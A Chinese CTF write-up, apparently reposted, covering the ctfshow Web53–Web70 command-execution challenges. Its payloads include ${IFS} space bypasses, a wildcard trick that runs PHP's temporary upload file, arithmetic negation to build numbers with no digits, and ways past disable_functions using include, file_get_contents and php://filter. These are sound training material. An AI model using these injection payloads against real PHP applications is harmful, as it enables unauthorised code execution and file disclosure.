ctfshowweb入门命令执行3

admin 2026-02-17 20:09:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详述ctfshow命令执行Web53至Web70题解。涉及利用IFS绕过空格、mv重命名、临时文件上传、位运算构造数字绕过限制,以及利用file_get_contents与include等函数突破disable_functions。文章提供了详细Payload与思路,总结了多种RCEbypass技巧,具备较高实战参考价值。 综合评分: 89 文章分类: CTF,WEB安全,漏洞POC,实战经验


cover_image

ctfshow web入门命令执行3

zoe zoe

哦0吼

2026年2月11日 12:05 河北

Web53

与上一关差不多,但先echo出参数后面system执行

/?c=nl${IFS}fla”g.php

Web53

过滤了很多,很多查看命令都不能用,换个思路,我们发现mv没有禁用,那我们修改flag文件名字,在打开文件呢?

/?c=mv${IFS}fla?.php${IFS}a.txt

然后再访问a.txt得到flag

Web54

这关把字母都过滤了,无字母rce,没有过滤点号

那么php强行上传文件

在本地运行下面脚本,然后抓包,尝试修改内容,得到flag

         

         

?c=.+/???/????????[@-[]

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么我们只要找到一个可以表示“大写字母”的通配符,就能精准找到我们要执行的文件。查看ascii码表,可见大写字母位于@与[之间,那么,我们可以利用[@-[]来表示大写字母:

把下面改成tac f* 得到flag

其他方法:

(来自ctfshow web入门–命令执行_ctfshow web入门命令执行-CSDN博客)

Web56 同上

Web57

这关提示flag在36.php

过滤了字母数字,我们可以用取反

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

Web58

这一关介绍说突破禁用函数

Post传参

我们可以先尝试phpinfo(),system(),exec(),shell_exec()都被禁用

发现file_get_contens(‘index.php’);可以成功

那么尝试c=echo file_get_contents(‘flag.php’);查看源代码得到flag

Web59

和上一关类似,发现include还能用

c=include(‘flag.php’);var_dump(get_defined_vars());

法二:

GET传参: /?1=php://filter/convert.base64-encode/resource=flag.php

POST传参: c=include ($_GET[1]);

Web60-65

同上,也可以用c=highlight_file(‘flag.php’);

c=include(‘flag.php’);echo $flag;

c=show_source(‘flag.php’);

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

c=include(‘flag.txt’);var_dump(get_defined_vars());

Web66 web67

发现用之前的得到

c=var_dump(scandir(‘.’));   显示当前目录下内容

c=var_dump(scandir(‘/’));   显示根目录下内容

c=print_r(scandir(‘.’));     //查看当前目录

c=print_r(scandir(‘/’));        //查看根目录

c=var_export(scandir(‘/’));

猜测flag在flag.txt里面

c=highlight_file(‘/flag.txt’);

Web68 69 70

c=include(‘/flag.txt’);


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:哦0吼 zoe zoe《ctfshow web入门命令执行3》

评论:0   参与:  0